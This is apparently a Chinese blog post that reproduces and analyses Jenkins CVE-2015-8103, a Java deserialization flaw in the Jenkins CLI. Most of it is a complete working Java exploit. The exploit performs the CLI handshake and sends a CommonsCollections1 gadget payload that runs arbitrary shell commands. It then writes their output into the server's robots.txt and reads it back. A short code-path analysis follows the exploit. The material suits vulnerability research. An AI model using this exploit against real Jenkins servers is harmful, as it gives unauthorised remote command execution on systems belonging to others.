Jenkins CVE-2015-8103 复现分析&Exp修改
0x00 前言
这个漏洞之前复现的时候一直不注意细节导致复现失败。
msf远程加载jar并反弹shell一直没打成功,最后是通过一步步调试poc最后写成该漏洞利用成功的工具。
一直有几个坑点,第一个是jdk8_111版本在linux上复现失败(本地打可以,不知道是不是jdk坏了),第二个点是执行复杂命令的时候一直有问题,需要sh -c最终才搞定。
0x01 漏洞利用
通过cc1链进行生成payload,发送该payload即刻构成命令执行。
import com.github.kevinsawicki.http.HttpRequest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
public class JenkinsCVE_2015_8103 {
public String getCliPort(String url){
HttpRequest httpRequest = new HttpRequest(url,"GET");
httpRequest.header("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36");
httpRequest.header("Accept","*/*");
httpRequest.header("Accept-Encoding","gzip, deflate");
String cliPort = httpRequest.header("X-Jenkins-CLI-Port");
//System.out.println(cliPort);
return cliPort;
}
public String getIp(String urlString) throws MalformedURLException, UnknownHostException {
InetAddress address = InetAddress.getByName(new URL(urlString).getHost());
String ip = address.getHostAddress();
return ip;
}
public String exploit(String timeStamp,String command,String host ,String port) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
byte[] protocol = "Protocol:CLI-connect".getBytes();
byte[] flag = {0, 20};
byte[] byte_3 = new byte[protocol.length + flag.length];
System.arraycopy(flag, 0, byte_3, 0, flag.length);
System.arraycopy(protocol, 0, byte_3, flag.length, protocol.length);
//System.out.println(Arrays.toString(byte_3));
int cliPort = Integer.valueOf(port);
// 与服务端建立连接
Socket socket = new Socket(host, cliPort);
// 建立连接后获得输出流
OutputStream outputStream = socket.getOutputStream();
outputStream.write(byte_3);
//通过shutdownOutput高速服务器已经发送完数据,后续只能接受数据
outputStream.flush();
InputStream inputStream = socket.getInputStream();
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
len = inputStream.read(buffer);
outSteam.write(buffer, 0, len);
len = inputStream.read(buffer);
outSteam.write(buffer, 0, len);
//System.out.println(Arrays.toString(outSteam.toByteArray()));
byte[] payloadHeader = "<===[JENKINS REMOTING CAPACITY]===>".getBytes();
byte[] payloadBody = Base64.getEncoder().encode(generatePayload(timeStamp,command));
byte[] payload = new byte[payloadHeader.length + payloadBody.length];
System.arraycopy(payloadHeader, 0, payload, 0, payloadHeader.length);
System.arraycopy(payloadBody, 0, payload, payloadHeader.length, payloadBody.length);
//System.out.println(Arrays.toString(payload));
outputStream.write(payload);
outputStream.flush();
inputStream.close();
outputStream.close();
socket.close();
return "";
}
public byte[] generatePayload(String flag,String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
//System.out.println(command);
command = flag + command;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"sh", "-c","cd $(find / -name \"winstone.jar\" -type f -exec dirname {} \\; | sed 1q) && echo `" + command + "` > robots.txt"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
// 因为构造方法不是 public, 只能通过反射构造出来
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public String getCmdResult(String flag,String url) throws InterruptedException {
int all = 10;
String result = "";
String execResult = "";
for(int count=0;count<all;count++){
HttpRequest httpRequest = HttpRequest.get(url + "/robots.txt");
result = httpRequest.body();
//System.out.println(result);
if(result.contains(flag)) {
execResult = result.replaceFirst(flag, "");
break;
}
TimeUnit.SECONDS.sleep(1);
}
if(execResult.equals("")){
execResult = "Can not execute command";
}
// String result = "";
return execResult;
}
}
0x02 漏洞分析
从poc分析,该漏洞利用主要分为几步,首先是获得Cli端口,cli端口一般为随机端口
接着去请求cli端口
第一步是client发送类似于Protocol:CLI-connect的握手协议,接着服务端返回Welcome,接着再度返回<==Jenkins这些标记,最后接上经过base64编码的序列化字符串。
从代码层面来看,该cli端口业务处理逻辑入口为TcpSlaveAgentListener
其调用ConnectionHandler方法,直接判断Protocol协议是否符合预期
run方法中调用handle方法,在接收后返回Welcome
跟进runCli
通过链式调用,最终调用build方法,其中build方法传入为输入和输出
方法最后调用negotiate,对client传过来的数据进行反序列化,以及讲序列化的数据传给客户端
该read方法的内部构造调用了readObject
通过调用readObject进行反序列化,反序列化使用的是cc1链的payload,于是会通过调用AnnotationInvocationHandler进行去调用CommonsCollections的链式调用,从而执行命令。